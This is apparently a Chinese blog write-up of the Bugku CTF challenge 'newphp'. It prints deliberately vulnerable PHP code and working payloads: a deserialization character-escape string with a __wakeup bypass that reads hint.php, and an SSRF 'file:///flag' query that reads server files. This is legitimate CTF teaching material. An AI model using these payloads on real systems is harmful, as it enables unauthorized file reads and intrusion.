bugku newphp(字符逃逸与ssrf)

一道反序列化的题目,上题目代码

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a))); 

审计代码,题目中给了hint.php,所以我们的目标就是读取到hint.php的内容。本题的入口就是post传参。我们可以构造evil类的序列化字符串来读取hint.php。但是post传的是User类的两个参数,并且会序列化User这个类。这么做有什么影响呢?

$a = serialize(new User($username, $password)); 

evil类序列化的字符串就会被当作字符串了,就不会把它反序列化为对象。自然不会读取到hint.php的内容。本地测试一下。

<?php
class User{
	public $username = '123';
	public $password = 'O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}';
}
$a = new User();
echo serialize($a);
?>
//生成的序列化字符串:
//O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

所以我们可以利用字符逃逸来将我们需要的地方逃逸出来,来被当作命令执行。字符逃逸具备的条件就是字符替换。(str_replace()函数)

如果我们传入一个\0\0\0,经过这两个函数作用后,\0\0\0就会被替换成*,字符减少。那么我们可以对username传入若干组\0\0\0来将O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}逃逸出去。当然,逃逸的关键就是闭合和字符个数,详情看我这篇文章php反序列化字符逃逸_XiLitter的博客-CSDN博客_php反序列化逃逸

 一组\0\0\0可以多吃掉三个字符,我们需要吞掉";s:8:"password";s:41:"这23个字符,我们用八组\0\0\0就可以吞掉24个字符,password再随便补一位就行了。

这里wakeup函数还做了一个限制,所以我们要绕过wakeup函数,属性值加一就行。

构造payload:

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

打进去出现一串base64,解码得到提示。

好家伙,懵了,访问一下index.cgi。 不知所措,看了wp后是考察了ssrf。

 通过url那一块是知道了name传参。我们get传参一个name=1。

应该是可以file读取出flag的。构造payload:

?name= file:///flag (file前要加空格)

得出flag。

 为什么要加空格?根据我的理解这里是用curl命令读文件的。

curl file:///flag。(很合理吧) 还有就是file:///flag和file:///flag.php有什么区别,它两个都可以读文件,但是第一个没有后缀名,文件里的内容不会被解析,而第二个有php后缀,里面的php语法可以被当作php代码来解析。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值